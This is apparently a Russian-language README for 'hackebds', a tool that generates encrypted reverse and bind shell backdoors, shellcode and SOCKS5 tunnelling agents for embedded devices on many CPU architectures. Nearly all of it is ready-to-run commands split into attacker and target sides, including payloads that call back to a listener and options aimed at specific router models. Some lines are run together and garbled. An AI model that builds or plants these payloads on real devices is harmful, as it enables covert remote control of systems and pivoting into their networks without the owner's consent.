
Этот инструмент используется для шифрования бэкдоров, генерации shellcode и socks5-прокси, извлечения информации и организации POC для устройств с различной архитектурой.
hackebds — это набор инструментов для генерации полезных нагрузок для встраиваемых устройств, шифрованных оболочек, туннелирования SOCKS5-прокси и поиска информации об устройствах.
Текущая ветка использует чистый ELF-метод для шифрованной оболочки и функций прокси:
reverse_shell_file + encrypted_shell_server / reverse_shell_serverbind_shell + bind_shell_clientreverse_proxy_file + reverse_proxy_serverforward_proxy_fileencrypted_shell_server / reverse_shell_server, чтобы можно было принимать зашифрованные обратные оболочки без обработчиков времени выполнения Pythonbind_shell_client для bind_shellaes и chacha20 для шифрованного трафика оболочки/прокси-bind_ip для ELF-бинарников на стороне прослушивателя, таких как bind_shell, encrypted_shell_server, reverse_proxy_server и forward_proxy_filereverse_shell_file и как исходящие полезные нагрузки: они используют и не привязывают локальный IP прослушивателяpython3 -m pip install -U hackebds
Локальная установка для разработки:
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .
Если вы пересобираете релизные wheels на другом хосте, используйте исходный zip и build_release.py.
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64
Установите binutils для целевой архитектуры перед генерацией не-нативных ELF-файлов.
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu
Пользователи macOS могут использовать pwntools binutils:
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
Сторона атакующего:
hackebds -arch x64 -res encrypted_shell_server \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_server.elf
chmod +x reverse_server.elf
./reverse_server.elf
Сторона цели:
hackebds -arch mipsel -res reverse_shell_file \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_payload.elf
chmod +x reverse_payload.elf
./reverse_payload.elf
Примечания:
reverse_shell_file не поддерживает -bind_ipencrypted_shell_server поддерживает -bind_ip-cipher chacha20 на -cipher aes, чтобы использовать AESСторона цели:
hackebds -arch aarch64 -res bind_shell \
-bind_port 5555 \
-bind_ip 192.168.56.20 \
-passwd "s3cr3t" \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_shell.elf
chmod +x bind_shell.elf
./bind_shell.elf
Сторона атакующего:
hackebds -arch x64 -res bind_shell_client \
-reverse_ip 192.168.56.20 -reverse_port 5555 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_client.elf
chmod +x bind_client.elf
./bind_client.elf
Затем введите:
s3cr3t
id
uname -a
exit
Прослушиватель:
hackebds -arch x64 -res encrypted_shell_server --power \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_server.elf
./power_server.elf
Полезная нагрузка:
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_payload.elf
Сервер:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_server.elf
chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
Агент:
hackebds -arch mips64el -res reverse_proxy_file \
-reverse_ip 192.168.56.1 -reverse_port 7000 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_agent.elf
chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
Тест:
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
Сервер с аутентификацией:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-socks_auth user:pass \
-cipher aes -encrypt_key "demo-key" \
-filename reverse_proxy_server_auth.elf
Примечание по UDP:
sparc / sparc64 не следует рассматривать как поддерживающие UDPhackebds -arch x64 -res forward_proxy_file \
-listen_port 1081 \
-bind_ip 192.168.56.1 \
-filename forward_proxy.elf
chmod +x forward_proxy.elf
./forward_proxy.elf
Тест:
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
hackebds -arch armelv7 -res reverse_shellcode \
-reverse_ip 192.168.56.1 -reverse_port 4444
-modelhackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
-model DIR-816 -res reverse_shell_file
--mcpuhackebds -mcpu mips32r2 -li -arch mipsel \
-reverse_ip 127.0.0.1 -reverse_port 9999 \
-res reverse_shell_file
--firmwarehackebds --firmware ./firmware.bin
-bind_ip предназначен только для ELF-файлов на стороне прослушивателяreverse_shell_file и reverse_proxy_file являются исходящими полезными нагрузками и не привязывают локальный IP прослушивателяreverse_proxy_server и forward_proxy_file поддерживают -bind_ipchacha20, так и с aes, если обе стороны совпадаютreverse_proxy_file-reverse_ip